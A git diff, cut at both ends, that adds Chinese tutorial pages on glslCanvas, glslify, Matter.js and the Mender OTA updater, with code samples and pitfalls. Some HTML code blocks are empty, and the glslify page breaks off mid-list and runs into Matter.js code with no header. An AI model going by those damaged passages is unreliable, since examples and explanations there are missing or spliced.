GL_ES +precision mediump float; +#endif + +uniform float u_time; +uniform vec2 u_resolution; + +void main() { + vec2 st = gl_FragCoord.xy / u_resolution; + vec3 color = vec3(st.x, st.y, abs(sin(u_time))); + gl_FragColor = vec4(color, 1.0); +} +``` + +无需手写 WebGL boilerplate:页面加载 → 自动 WebGL 上下文 → 编译 → 动画。改 `.frag` 文件刷新即可迭代。 + +### 示例 2:JavaScript 动态加载 + 自定义 Uniform + 纹理 + +适合接滑块、音频分析等交互: + +```html + + + +``` + +等价 HTML 写法:`data-textures="photo.jpg"` 会把第一张图绑到 `u_tex0`;`u_brightness` 仍需 JS `.setUniform`。 + +### 示例 3:最小「Hello World」纯色(验证环境) + +```javascript +const canvas = document.createElement('canvas'); +canvas.width = canvas.height = 256; +document.body.appendChild(canvas); + +const sandbox = new GlslCanvas(canvas); +sandbox.load(` +void main() { + gl_FragColor = vec4(1.0, 0.2, 0.4, 1.0); +} +`); +``` + +若屏幕出现粉红色方块,说明 WebGL 与 glslCanvas 链路正常;再逐步加上 `u_time`、噪声函数等 Book of Shaders 章节内容。 + +## 学习路径建议 + +1. **跟 Book of Shaders 走**:第 0–4 章搞清 fragment shader、`uniform`、`gl_FragColor`,直接用站内 live examples。 +2. **本地复现**:复制 `data-fragment-url` 指向的 `.frag`,用静态服务器打开(避免 `file://` CORS)。 +3. **加交互**:用示例 2 的模式接 `setUniform` / `setMouse`,理解 CPU→GPU 数据流。 +4. **需要模块复用时**:引入 glslify 在构建期打包,runtime 仍用 glslCanvas `.load(bundleString)`。 +5. **上强度时**:复杂 3D、多 pass FBO 考虑 regl、Three.js ShaderMaterial 或 luma.gl;glslCanvas 定位是 **教学与原型**,不是游戏引擎。 + +## 常见问题 + +| 现象 | 可能原因 | 处理 | +|------|----------|------| +| 黑屏无报错 | WebGL 被禁用或 shader 编译失败 | 打开浏览器控制台;检查 `#ifdef GL_ES` 与 precision | +| `data-fragment` 不生效 | HTML 属性中换行/引号被转义 | 改用 `.load()` 或 `data-fragment-url` | +| 纹理全黑 | 跨域或未加载完成 | 纹理需 CORS;URL 正确;uniform 名 `u_tex0` 与声明一致 | +| 与 Shadertoy 代码不兼容 | Shadertoy 有 `mainImage` 等约定 | 需改入口为 `main()` 并适配 uniform 名 | + +## 与相关项目对比 + +| 项目 | 定位 | +|------|------| +| **glslCanvas** | 浏览器、零配置、Book of Shaders 默认 | +| **glslEditor** | 完整 IDE(CodeMirror + 预览) | +| **glslViewer** | CLI / 嵌入式 Linux / 管道图像处理 | +| **glslify** | 构建期 GLSL 模块打包 | +| **regl / Three.js** | 生产级 WebGL 应用框架 | + +## 小结 + +glslCanvas 把「在 canvas 上跑 GLSL」压缩成 **一个 class 名或一行 `new GlslCanvas`**,并统一提供 `u_time`、`u_resolution`、`u_mouse` 等教程级 uniform。零基础学 shader 时,优先掌握:**HTML 声明式加载**、**内置 uniform 约定**、**JS 动态 `.load()` / `.setUniform()`** 三条线;再按需扩展到 glslify 模块化与更重型的 WebGL 框架。 + +## 参考链接 + +- 仓库: +- Demo: +- Book of Shaders — Running your shader: +- glslEditor: diff --git a/src/content/docs/projects/glslify.md b/src/content/docs/projects/glslify.md new file mode 100644 index 000000000..7071e26d2 --- /dev/null +++ b/src/content/docs/projects/glslify.md @@ -0,0 +1,301 @@ +--- +title: glslify — Browserify 风格 GLSL 模块 +来源: 'https://github.com/glslify/glslify' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +--- + +## 是什么 + +glslify 是一套给 **GLSL 着色器** 用的 **Node.js 风格模块系统**——让你像 `require('lodash')` 那样,在着色器里 `require('glsl-noise')`,构建时把依赖打包成一段完整的 GLSL 字符串。日常类比: + +> 写 JavaScript 时,你不会把 lodash 的源码整份复制进项目,而是 `npm install` 后 `import`;写 WebGL 着色器时,过去只能把噪声函数、光照模型整段粘贴进 `.glsl` 文件,改一处要搜遍全文。glslify 把 **Browserify 那套「模块 + 打包 + transform」** 搬到了 GPU 代码上。 + +GLSL(OpenGL Shading Language)是运行在 GPU 上的着色器语言,控制每个顶点怎么变换、每个像素什么颜色。WebGL 应用最终要把着色器源码字符串传给 `gl.shaderSource()`——glslify 在 **构建阶段** 解析 `#pragma glslify` 指令、解析 npm 依赖、重命名符号避免冲突,输出可直接编译的字符串。它与具体 WebGL 框架无关:regl、Three.js 自定义 ShaderMaterial、自研引擎都能用,只要你能传入 shader source。 + +项目由 stack.gl 生态孵化(Hugh Kennedy、Matt DesLauriers 等),MIT 协议,npm 周下载量约 70 万+,是 Browserify 时代的标准 GLSL 打包方案;现代项目也可通过 **glslify-loader**(Webpack)、**glslify-babel**(Babel 插件)或 **vite-plugin-glslify** 等接入 Vite/Rollup 管线。 + +## 为什么重要 + +不理解 glslify,下面这些事情都没法解释: + +- 为什么 Shadertoy 上几百行的噪声函数,在 stack.gl 项目里只是一行 `#pragma glslify: noise = require('glsl-noise/simplex/3d')` +- 为什么多个 `.glsl` 文件都定义了 `main()` 或同名函数,打包后却不报「重复定义」——glslify 会自动 **重命名(suffix)** 符号 +- 为什么 Browserify 项目里 `require('glslify')` 能在打包时把 GLSL 内联成 JS 字符串,而运行时浏览器根本不需要文件系统 +- 为什么 npm 上有一整类 `glsl-*` 包(fog、film grain、easing、Cook-Torrance 光照),可以像 JS 库一样版本管理和复用 + +## 核心概念 + +### 1. `#pragma glslify` —— 着色器里的 import/export + +GLSL 本身没有 ES Module。glslify 用 **编译期指令** 模拟 Node 模块: + +| 指令 | 作用 | 类比 | +|------|------|------| +| `#pragma glslify: name = require('pkg/path')` | 从 npm 或相对路径引入符号 | `const name = require('pkg')` | +| `#pragma glslify: export(symbol)` | 把函数/struct/uniform 暴露给引用方 | `module.exports = symbol` | +| `#pragma glslify: require('pkg', a=b, ...)` | 把本地符号 **绑定** 到依赖模块的占位符 | 依赖注入 | + +构建完成后,所有 `require` 会被 **内联**,重复符号会加 `_1_0` 这类后缀,避免链接冲突。 + +### 2. 三种使用入口 + +- **Node / CLI**:`glslify index.glsl -o out.glsl`,或 `glslify.file('./shader.glsl')` 得到字符串 +- **Browserify transform**:`-t glslify`,在 JS 里 `require('glslify')` 调用时在 bundle 阶段替换为字符串 +- **Tagged template**:`glslify\`...\`` ES6 标签模板,在 JS 里直接写 GLSL 片段 + +输出始终是 **单个 GLSL 源字符串**(顶部常带 `#define GLSLIFY 1`),交给 WebGL 编译即可。 + +### 3. glslify-deps 与 glslify-bundle + +内部管线分两步,概念上类似 Browserify 的 `module-deps` + `bundle`: + +1. **glslify-deps**:从入口 `.glsl` 或 inline 字符串出发,递归解析 `#pragma glslify`,构建依赖图 +2. **glslify-bundle**:按拓扑顺序合并文件,应用 rename,输出最终源码 + +你可以在服务端只跑 deps 做依赖分析,在浏览器端再 bundle——适合大型可视化应用的拆分部署。 + +### 4. Source Transforms(着色器版 Babel 插件) + +受 Browserify transform 启发,可在 **构建时** 改写 GLSL 语法,分三类: + +- **Local**:只对当前包内文件生效(如 `glslify-hex` 把 `#ff0000` 转成 `vec3`) +- **Global**:对所有依赖生效 +- **Post**:对整个 bundle 完成后做一次(如全着色器优化) + +在 `package.json` 里配置: + +```json +{ + "glslify": { + "transform": [ + "glslify-hex", + ["glslify-optimize", { "mangle": true }] + ] + } +} +``` + +### 5. npm 上的 GLSL 包约定 + +- 包名通常以 `glsl-` 开头 +- 入口文件是 `index.glsl` 而不是 `index.js` +- 解析算法与 Node 相同:从着色器所在目录的 `node_modules` 向上查找 + +stack.gl 维护的 [Shader Components 列表](http://stack.gl/packages/) 是选库的起点。 + +## 实践案例 + +### 案例 1:从 npm 引入 Simplex 噪声(最小片段着色器) + +安装社区模块: + +```bash +npm install glslify glsl-noise +``` + +**shader.glsl**(片段着色器入口): + +```glsl +#pragma glslify: noise = require('glsl-noise/simplex/3d') + +precision mediump float; +varying vec3 vpos; + +void main() { + float n = noise(vpos * 25.0); + gl_FragColor = vec4(vec3(n), 1.0); +} +``` + +**index.js**(Node 或 Browserify 入口): + +```javascript +const glslify = require('glslify') + +// 方式 A:读文件 +const frag = glslify.file('./shader.glsl') + +// 方式 B:标签模板(适合短 shader) +const fragInline = glslify` + #pragma glslify: noise = require('glsl-noise/simplex/3d') + precision mediump float; + varying vec3 vpos; + void main() { + gl_FragColor = vec4(vec3(noise(vpos * 25.0)), 1.0); + } +` + +console.log(frag.slice(0, 80)) // "#define GLSLIFY 1\n\n..." +``` + +**逐部分解释**:`#pragma glslify: noise = require(...)` 声明「我要把包里的噪声函数 import 成本地名 `noise`」。构建时 glslify 会把 `glsl-noise` 里对应文件的函数体插入,并把内部函数名改成 `snoise_1_2` 这类唯一名。你在 JS 里拿到的 `frag` 已经是 **展开后的完整 GLSL**,直接 `gl.shaderSource(shader, frag)` 即可。 + +Browserify 打包: + +```bash +browserify -t glslify index.js -o bundle.js +``` + +### 案例 2:export 自定义模块 + 跨模块引用绑定 + +把可复用的「上半球光照」抽成模块。 + +**lighting.glsl**(导出): + +```glsl +float topDot(vec3 normal) { + return max(dot(vec3(0.0, 1.0, 0.0), normal), 0.0); +} + +#pragma glslify: export(topDot) +``` + +**main.frag**(消费): + +```glsl +#pragma glslify: topDot = require('./lighting.glsl') + +precision mediump float; +varying vec3 vNormal; + +void main() { + float shade = topDot(normalize(vNormal)); + gl_FragColor = vec4(vec3(shade), 1.0); +} +``` + +**带占位符的 require**(高级):若模块 `accumulator.glsl` 里用到了未定义的 `N` 和 `map`,可在 require 时 **注入本地符号**: + +```glsl +const int M = 500; +float add(float a, float b) { return a + b; } + +#pragma glslify: sum500 = require('./accumulator.glsl', N=M, map=add) +``` + +这类似函数式编程里的 **高阶参数**:同一份 `accumulator.glsl` 可实例化成「500 元素求和」或「17 元素求积」,只需换 `N` 和 `map`。 + +### 案例 3:与 regl 组合(现代 WebGL 常见写法) + +glslify 只负责 **字符串**;绘制仍由 WebGL 封装库完成: + +```javascript +const regl = require('regl')() +const glslify = require('glslify') + +const draw = regl({ + frag: glslify` + #pragma glslify: grain = require('glsl-film-grain') + precision mediump float; + uniform float time; + varying vec2 vUv; + void main() { + vec3 col = vec3(vUv, 0.5); + col += grain(vUv * 800.0, time) * 0.08; + gl_FragColor = vec4(col, 1.0); + } + `, + vert: ` + attribute vec2 position; + varying vec2 vUv; + void main() { + vUv = position * 0.5 + 0.5; + gl_Position = vec4(position, 0, 1); + } + `, + attributes: { + position: [[-1,-1], [3,-1], [-1,3]] + }, + uniforms: { + time: ({ tick }) => tick * 0.05 + }, + count: 3 +}) + +regl.frame(() => draw()) +``` + +**要点**:`frag` 字段在 bundle 阶段已被 glslify 展开;运行时 regl 只做编译与绘制。film grain、noise、fog 等效果都以 npm 模块形式叠加,主着色器保持可读。 + +## 构建工具对照 + +| 工具链 | 接入方式 | +|--------|----------| +| Browserify | `-t glslify` 或 `package.json` → `browserify.transform` | +| Webpack | [glslify-loader](https://github.com/stackgl/glslify-loader) | +| Babel | [glslify-babel](https://github.com/stackgl/glslify-babel) 插件;若 Babel 把 import 转成 require 导致静态分析失败,可配合 `babel-plugin-import-to-require` | +| 直接 require `.glsl` | [glslify-bare](https://github.com/jnordberg/glslify-bare) transform,比扫描全项目的 glslify 更快,但不能 per-file transform 选项 | +| Vite / Rollup | 社区 `vite-plugin-glslify`、`rollup-plugin-glslify` 等 | + +在线试验可打开 [glslb.in](http://glslb.in/)——带 glslify 支持的 fragment shader 沙盒,类似 Shadertoy。 + +## 踩过的坑 + +1. **pragma 必须在构建时可见**:若在运行时拼接 `#pragma glslify` 字符串,打包器无法静态分析,require 不会展开。Shader 源码要在构建阶段确定(或走 glslify CLI 预编译)。 + +2. **Babel 与静态分析冲突**:ES6 `import glsl from 'glslify!...'` 经 Babel 转译后,glslify 可能找不到调用点。官方建议用 tagged template、`glslify.file()`,或 `babel-plugin-import-to-require` 映射。 + +3. **符号重命名后的调试**:内联后函数名带 `_1_0` 后缀,GPU 调试器里栈 trace 可读性变差。开发时可先用 CLI 输出 `output.glsl` 人工阅读,再切回 bundle 流程。 + +4. **WebGL1 vs WebGL2 语法**:社区 `glsl-*` 模块多数面向 GLSL ES 1.0(WebGL1)。在 WebGL2 项目里要确认模块是否使用 `texture`/`in`/`out` 等新关键字,必要时 fork 或写 local transform。 + +5. **与 Three.js ShaderChunk 两套体系**:Three.js 自带 `#include <...>` 预处理器,和 glslify 的 `#pragma` 不互通。在 ShaderMaterial 里用 glslify 通常指 **构建期** 生成字符串再赋给 `fragmentShader`,不要混用两种 include 语法。 + +## 适用 vs 不适用场景 + +**适用**: + +- stack.gl / regl / 自研 WebGL 引擎,需要组合大量社区着色器 snippet +- 科学可视化、生成艺术、广告落地页等 **自定义 GLSL** 项目 +- 希望噪声、光照、后处理与 JS 依赖一样 **版本锁定、可审计** +- Browserify 或 Webpack 老项目维护着色器资产 + +**不适用**: + +- 纯 Three.js 标准材质、不写自定义 shader → 直接用引擎内置即可 +- 已全面使用 **WGSL / WebGPU** 新栈 → glslify 仅服务 GLSL +- 运行时动态生成大量不同 shader 拓扑(依赖图每帧都变)→ 构建期 bundle 帮不上忙,需自研或 GPU 字符串缓存策略 +- 团队零 Node 构建、只有 CDN ` + + + + + +``` + +**要点**:脚本放在 `` 前,确保 DOM 已就绪;`isStatic: true` 的地面不会被撞飞;`Runner` 与 `Render` 各跑各的循环,演示够用,正式项目建议合并到统一 game loop。 + +### 案例 2:自定义循环 + 碰撞事件——弹弓发射计分 + +不用内置 `Render`,在 `requestAnimationFrame` 里步进物理并同步到 DOM;碰撞时打日志或播音效: + +```javascript +import Matter from 'matter-js'; + +const { Engine, Bodies, Composite, Events, Body, Vector } = Matter; + +const engine = Engine.create({ gravity: { x: 0, y: 1 } }); +const world = engine.world; + +const ground = Bodies.rectangle(400, 590, 800, 40, { isStatic: true }); +const target = Bodies.rectangle(700, 520, 60, 60, { + label: 'target', + render: { fillStyle: '#e74c3c' } +}); +const ball = Bodies.circle(120, 480, 20, { + label: 'projectile', + restitution: 0.4, + density: 0.002 +}); + +Composite.add(world, [ground, target, ball]); + +Events.on(engine, 'collisionStart', (event) => { + for (const pair of event.pairs) { + const labels = [pair.bodyA.label, pair.bodyB.label]; + if (labels.includes('projectile') && labels.includes('target')) { + console.log('命中目标!'); + Body.setStatic(target, true); // 简化:命中后定住 + } + } +}); + +// 弹弓:拖拽松手时给球冲量 +function launchBall(pointer) { + const force = Vector.sub({ x: 120, y: 480 }, pointer); + Body.applyForce(ball, ball.position, Vector.mult(force, 0.0008)); +} + +let last = performance.now(); +function loop(now) { + const delta = Math.min(now - last, 50); // 封顶,防后台标签页暴冲 + last = now; + Engine.update(engine, delta); + + // 同步到 DOM 或 canvas:读 ball.position、ball.angle + const el = document.getElementById('ball'); + if (el) { + el.style.left = `${ball.position.x - 20}px`; + el.style.top = `${ball.position.y - 20}px`; + el.style.transform = `rotate(${ball.angle}rad)`; + } + requestAnimationFrame(loop); +} +requestAnimationFrame(loop); +``` + +**要点**:`Engine.update` 的 `delta` 单位是毫秒;冲量用 `Body.applyForce` 或 `Body.setVelocity`;用 `label` 区分角色比比较 `id` 更易读;`collisionStart` 只触发一次,持续接触用 `collisionActive`。 + +### 案例 3:约束摆锤(牛顿摆雏形) + +```javascript +const anchor = Bodies.circle(400, 100, 5, { isStatic: true }); +const bob = Bodies.circle(400, 300, 30); +const rod = Matter.Constraint.create({ + bodyA: anchor, + bodyB: bob, + length: 200, + stiffness: 0.9 +}); + +Composite.add(world, [anchor, bob, rod]); +// 给 bob 初速度后释放,摆锤按约束长度摆动 +Body.setVelocity(bob, { x: 8, y: 0 }); +``` + +## 安装与集成 + +**CDN(最快体验)**: + +```html + +``` + +**npm + 打包器**: + +```bash +npm install matter-js +``` + +```javascript +import Matter from 'matter-js'; +// 或按需:import { Engine, Bodies } from 'matter-js'; +``` + +**与游戏框架**:Phaser 3 可用 `matter` 物理插件;PixiJS 只负责画,每帧读 `body.position` 更新 `sprite`;React 项目注意在 `useEffect` 里创建/销毁 engine,避免 Strict Mode 双挂载泄漏。 + +## 常见坑 + +1. **忘记把 body 加入 world**:只 `Bodies.rectangle` 不 `Composite.add`,物体永远不会参与仿真。 +2. **静态体被推动**:地面若未设 `isStatic: true` 会被撞飞。 +3. **delta 过大**:标签页切后台再切回,`performance.now()` 跳变会导致一帧穿透;对 `delta` 设上限(如 50 ms)或固定 16.67 ms 子步。 +4. **凹多边形直接当刚体**:需 `Bodies.fromVertices` 或拆成多个凸 part;复杂 SVG 要检查 `removeCollinear` 等选项。 +5. **每帧硬改动态体位置**:`Body.setPosition` 可用于传送,但频繁覆盖会与求解器冲突;运动学物体用 `isStatic` 或 `Body.setVelocity` 更合理。 +6. **与 Box2D 教程混读**:API 名称相似(Body、World)但调用方式不同;Matter 没有 Fixture 概念,形状焊在 Body 上。 +7. **Webpack 开发模式变慢**:官方 Wiki 提到部分 webpack 默认配置会影响热更新,见仓库 issue 中的 workaround。 + +## 学习路径 + +1. 打开官方 [Demo 页](https://brm.io/matter-js/demo),点 Slingshot、Newton's Cradle、Bridge,对照 [Demo.js](https://github.com/liabru/matter-js/blob/master/examples/demo.js) 读实现 +2. 手敲「地面 + 两箱」最小 HTML,确认箱子下落并碰撞 +3. 去掉 `Render`,改用 `requestAnimationFrame` + `Engine.update`,把坐标画到自有 canvas +4. 加 `Events.on` 碰撞回调,做一个「击中目标得分」小交互 +5. 读 [API 文档](https://brm.io/matter-js/docs/) 的 Engine、Body、Constraint、Query 四章 +6. 若要做关卡编辑:试用 [matter-tools](https://github.com/liabru/matter-tools) 或导出 `engine.world` 的 JSON 状态 + +## 与其他方案对比 + +| 方案 | 维度 | 特点 | +|------|------|------| +| **Matter.js** | 2D JS | 原生 JS、内置渲染/Runner、API 扁平,Web 教育/原型首选 | +| **p2.js** | 2D JS | 更偏数值刚体,复合体强,需自绘 | +| **box2d.js / planck.js** | 2D JS | Box2D 移植,关节模型与 C++ 一致,包体较大 | +| **Box2D** | 2D C++ | 性能上限高,需绑定或非浏览器环境,见 [Box2D 笔记](./box2d.md) | +| **Phaser Arcade** | 2D 游戏 | AABB 简化物理,非刚体旋转,适合平台跳跃轻量场景 | + +## 延伸阅读 + +- 官方仓库: +- API 文档(0.20.0): +- Getting started Wiki: +- 交互 Demo: +- 调试工具: +- 作者 CodePen 示例: diff --git a/src/content/docs/projects/mender.md b/src/content/docs/projects/mender.md new file mode 100644 index 000000000..433065f03 --- /dev/null +++ b/src/content/docs/projects/mender.md @@ -0,0 +1,286 @@ +--- +title: Mender — 嵌入式 Linux 的 OTA 空中升级管家 +来源: https://github.com/mendersoftware/mender +日期: 2026-06-13 +分类: 操作系统 +子分类: 嵌入式 +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:给远程设备装「双保险换机系统」 + +想象你在全国有 500 台自动售货机,每台跑 Linux,软件偶尔要修 bug、换版本。传统做法是: + +1. 派工程师带着 U 盘逐台刷机; +2. 或者 SSH 进去 `apt upgrade`,中途断电就可能变砖; +3. 出问题时没人知道哪台还在跑旧版本。 + +**Mender 换了一种思路**:每台设备磁盘上划 **两个 rootfs 分区(A/B)**——平时从 A 启动,升级时把新系统整盘写到 **空闲的 B**,重启切到 B;若新系统起不来或没向服务器「报平安」,bootloader 自动 **回滚到 A**。类比成: + +| 现实世界 | Mender 对应 | +| --- | --- | +| 飞机备降跑道 | 备用 rootfs 分区(inactive) | +| 塔台调度航班 | Mender Server 下发部署、分组、灰度 | +| 机长定期无线电签到 | Client 轮询 HTTPS,上报状态 | +| 新机长试飞 24 小时 | 首次启动后须 **commit**,否则回滚 | +| 货运集装箱(整箱换) | **Artifact**(`.mender` 更新包) | +| 只换零件不整架换 | **Update Module**(应用级增量更新) | + +Mender 由 [Northern.tech](https://northern.tech/) 维护,客户端与服务器端均为 **Apache 2.0 开源**([mendersoftware/mender](https://github.com/mendersoftware/mender))。典型场景:工业网关、零售终端、能源监测、车队设备——凡是需要 **大规模、可回滚、可审计** 的嵌入式 Linux OTA,都是它的主场。 + +--- + +## 解决什么问题 + +| 痛点 | 裸写 OTA 时 | Mender 的回应 | +| --- | --- | --- | +| 升级中途断电变砖 | 原地覆盖 rootfs,写坏即死 | A/B 分区 + bootloader 回滚 | +| fleet 版本不可见 | 每台设备各自为政 | Server 仪表盘:版本、在线、部署进度 | +| 一次性全量推送风险大 | 一发全更,一台 bug 拖垮全网 | 分组、分阶段(phased)部署 | +| 应用 vs 系统更新需求不同 | 一种脚本打天下 | rootfs 镜像 + Update Module 框架 | +| 内网设备无法直连云 | 每台开入站端口不安全 | Client **出站 HTTPS 轮询**,无需开放端口 | +| 与现有 Yocto/Debian 栈割裂 | 自研 updater 与构建链脱节 | `meta-mender` Yocto layer、Debian 镜像转换 | + +核心问题:**如何在不可物理接触的设备上,安全、原子地更新整个 Linux 系统或选定应用,并在失败时自动恢复?** + +--- + +## 架构一览 + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ 构建侧(CI / Yocto / Jenkins / 工作站) │ +│ rootfs.ext4 / 应用包 ──► mender-artifact ──► *.mender │ +└───────────────────────────────┬─────────────────────────────────┘ + │ 上传 + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Mender Server(微服务:API Gateway、deployments、deviceauth…) │ +│ · 存储 Artifact · 设备 inventory · 调度 deployment │ +│ · 分组 / RBAC / 审计(企业版增强) │ +└───────────────────────────────┬─────────────────────────────────┘ + │ HTTPS 轮询(出站) + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ 设备:Mender Client(managed 守护进程 或 standalone CLI) │ +│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ +│ │ rootfs A │ │ rootfs B │ │ /data │ ← 状态、配置放 data │ +│ │ (active) │ │(inactive)│ │ 分区 │ │ +│ └──────────┘ └──────────┘ └──────────┘ │ +│ U-Boot/GRUB:bootcount + mender.conf 控制 A/B 切换与 commit │ +└─────────────────────────────────────────────────────────────────┘ +``` + +与容器化方案(如 resin.io / Balena)不同,Mender 主打 **整镜像 rootfs 更新**,更薄、更易嵌入已有 Yocto/Buildroot 栈;也支持通过 Update Module 做 **单文件、目录、Docker Compose** 等应用级更新。 + +--- + +## 核心概念 + +### 1. Artifact(更新包) + +Mender 不直接传「裸 ext4」,而是把 payload 与元数据(设备类型、软件版本、依赖关系、签名)打成一个 **`.mender` Artifact**。Server 按 **device type** 匹配该发给谁。 + +常用工具:`mender-artifact`(与 Client 配套,可独立安装)。 + +### 2. Device Type(设备类型) + +字符串标识硬件/镜像系列,例如 `raspberrypi4`、`qemu-x86-64`。设备上写在 `/var/lib/mender/device_type`;Artifact 用 `-t` / `-c` 声明兼容类型。**类型不一致则不会下发**,避免把 ARM 镜像推给 x86。 + +### 3. A/B Rootfs 与 Commit/Rollback + +1. Client 把新 rootfs 写入 **inactive** 分区; +2. 校验 checksum,设置 bootloader 下次从 B 启动,**reboot**; +3. 新系统起来后,Client 向 Server **上报成功** 并执行 **commit**(持久化启动分区); +4. 若在 commit 前再次 reboot 或上报失败 → **自动回滚** 到旧分区。 + +因此 **rootfs 应无状态**:`/etc` 里改的配置、业务数据应放 **独立 data 分区**,否则整盘更新会被覆盖。 + +### 4. Managed vs Standalone + +| 模式 | 行为 | 适用 | +| --- | --- | --- | +| **Managed** | `mender` 守护进程连 Server,自动 poll、下载、安装、重启、commit | 大规模 fleet、云端/自建 Server | +| **Standalone** | 本地 CLI 或 USB 触发更新,不连 Server | 工厂产线、离线现场、调试 | + +内网设备可通过 **Mender Gateway** 代理出站,仍用 managed 模式。 + +### 5. Update Module(应用更新) + +OS 更新适合动 kernel、glibc、系统库;应用更新(单个二进制、配置目录、容器栈)走 **Update Module** 插件框架。官方与社区提供 `single-file`、`dir-install`、`docker-compose` 等模块。 + +### 6. meta-mender 与构建集成 + +嵌入式团队多在 **Yocto Project** 里加 `meta-mender-core`(及 `meta-mender-raspberrypi` 等 BSP layer),在镜像阶段就配好分区表、U-Boot/GRUB env、`mender.conf`。Buildroot 也有 `BR2_PACKAGE_MENDER` 与 host `mender-artifact` 集成。 + +--- + +## 代码示例 + +### 示例 1:用 `mender-artifact` 打包 rootfs 镜像 + +假设 CI 已产出 `rootfs.ext4`(且该 rootfs 在构建时已集成 Mender Client 与 A/B 布局): + +```bash +# 安装工具(macOS 示例;Linux 可从 GitHub Releases 下载) +# brew install mendersoftware/tap/mender-artifact + +mender-artifact write rootfs-image \ + -t raspberrypi4 \ + -n release-2026.06.13 \ + --software-version 1.2.0 \ + -f rootfs.ext4 \ + -o deploy/release-1.2.0.mender +``` + +**参数说明**: + +- `-t raspberrypi4`:仅匹配 `device_type` 为 `raspberrypi4` 的设备; +- `-n release-2026.06.13`:Artifact 名称,需与 rootfs 内 `/etc/mender/artifact_info` 策略一致; +- `--software-version 1.2.0`:上报给 Server 的版本号,便于仪表盘对比; +- `-f rootfs.ext4`:整分区镜像 payload; +- `-o …mender`:输出 Artifact,上传到 Mender Server 后即可创建 deployment。 + +查看已有 Artifact 元数据: + +```bash +mender-artifact read deploy/release-1.2.0.mender +# 输出 Compatible devices、Updates 类型、文件大小等 +``` + +### 示例 2:设备端 `mender.conf`(Managed 模式连 Hosted Mender) + +设备上主配置通常在 `/etc/mender/mender.conf`(路径因发行版略有差异): + +```json +{ + "InventoryPollIntervalSeconds": 300, + "RetryPollIntervalSeconds": 30, + "ServerURL": "https://hosted.mender.io", + "TenantToken": "YOUR_TENANT_TOKEN_FROM_SERVER_UI", + "UpdatePollIntervalSeconds": 1800, + "ServerCertificate": "/etc/ssl/certs/ca-certificates.crt" +} +``` + +**要点**: + +- **TenantToken**:把设备「认领」到你的租户;自建 Server 则改为你的 `ServerURL` 并使用设备认证证书; +- **Poll 间隔**:Client 仅 **出站 HTTPS**,不监听公网端口; +- 首次启动或 provisioning 后,设备出现在 Server UI,可划入 **静态/动态分组**,再对分组创建 **deployment**。 + +Standalone 本地试更新(不连 Server,适合产线): + +```bash +# 将 Artifact 拷到设备,例如 /var/mender/storage/ +mender install /var/mender/storage/release-1.2.0.mender +reboot +# 确认系统正常后 +mender commit +# 若异常则: mender rollback (或再次 reboot 触发未 commit 回滚) +``` + +### 示例 3:Yocto 中声明 Device Type 与 Artifact 名 + +在 `local.conf` 或 machine 配置里(简化摘录): + +```bitbake +# 与 mender-artifact -t 保持一致 +MENDER_DEVICE_TYPES_COMPATIBLE = "raspberrypi4" + +# 部署到 Server 时显示的 Artifact / 软件版本 +MENDER_ARTIFACT_NAME = "release-${DISTRO_VERSION}" +MENDER_ARTIFACT_EXTRA_ARGS = "--software-version ${DISTRO_VERSION}" + +# 存储布局:A/B rootfs + data 分区大小等 +MENDER_STORAGE_TOTAL_SIZE_MB = "4096" +MENDER_DATA_PART_SIZE_MB = "512" +``` + +BitBake 构建完成后,`tmp/deploy/images//` 下会生成 **`.mender` Artifact** 与可烧录 SD 镜像;这与示例 1 的 CLI 打包是同一格式,只是自动化在 Yocto `mender-artifactimg` class 里完成。 + +### 示例 4:单文件应用更新(Update Module) + +只更新 `/home/user/.ssh/authorized_keys` 而不动整盘 rootfs: + +```bash +./single-file-artifact-gen \ + --device-type raspberrypi4 \ + -o authorized-keys-1.1.mender \ + -n updated-authorized_keys-1.1 \ + --software-name authorized_keys \ + --software-version 1.1 \ + --dest-dir /home/user/.ssh \ + authorized_keys +``` + +Server 下发后,Client 调用 **single-file** Update Module 写入目标路径;适合配置、脚本、小型二进制的高频迭代,与 rootfs 大版本更新配合使用。 + +--- + +## 一次 Managed 部署的生命周期 + +``` +开发者 push 新 rootfs + → CI 运行 mender-artifact write … + → 上传 *.mender 到 Mender Server + → 在 UI 创建 Deployment(目标:分组 "field-test") + → 设备 Client poll 到 pending update + → 下载 Artifact → 写入 inactive 分区 → reboot + → 新系统启动 → Client 连 Server 上报 success → commit + → Server 显示该设备 software version = 1.2.0 +``` + +若 **下载中断**:下次 poll 续传或重试。若 **刷写后无法 boot**:bootloader 切回旧分区。若 **能 boot 但应用崩溃**:在 commit 前 reboot 仍会回滚——因此自动化测试常放在 **canary 分组**,commit 前人工或脚本验收。 + +--- + +## 与相近方案对比 + +| 维度 | Mender | OSTree / rpm-ostree | 容器/Balena 类 | +| --- | --- | --- | --- | +| 更新单元 | 整 rootfs 镜像为主 | 原子包/层 | 容器镜像 | +| 回滚 | A/B 硬件分区 | 引用切换 | 容器版本回退 | +| 开源 Server | 是(微服务自建) | 视发行版 | 多为商业云 | +| 典型集成 | Yocto meta-mender | Fedora IoT 等 | Dockerfile 栈 | +| 内核/驱动升级 | 自然支持(整镜像) | 支持 | 需 host OS 配合 | + +Mender 还支持与 **AWS IoT Core**、**Azure IoT Hub** 等集成,便于已有云 IoT 管线的团队接入。 + +--- + +## 上手路径(零基础) + +1. **读文档**:[docs.mender.io](https://docs.mender.io/) — Introduction → Get started(QEMU 虚拟设备最快)。 +2. **Hosted Mender 试用**:注册租户,拿 TenantToken,跑官方 Docker 虚拟设备镜像体验 UI 下发。 +3. **真实硬件**:Raspberry Pi + `meta-mender-raspberrypi` 构建带 Mender 的 SD 镜像。 +4. **产线/离线**:练熟 `mender install` + `commit`/`rollback` standalone 流程。 +5. **生产**:自建 Server(Docker Compose 或 Kubernetes)、Artifact 签名(`-k private.key`)、分阶段部署与监控 Add-on。 + +--- + +## 常见坑 + +| 现象 | 原因 | 建议 | +| --- | --- | --- | +| Deployment 一直 pending | device type 不匹配 | 核对 `/var/lib/mender/device_type` 与 Artifact `-t` | +| 更新后配置丢失 | 配置写在 rootfs | 迁到 data 分区或 `/etc/mender/mender.conf.d` 外置 | +| 无法 commit 反复回滚 | 新镜像缺 Client 或 bootloader 集成错误 | 用官方 meta-mender 模板构建,勿手搓分区 | +| Artifact 过大 | 全量 rootfs | 启用 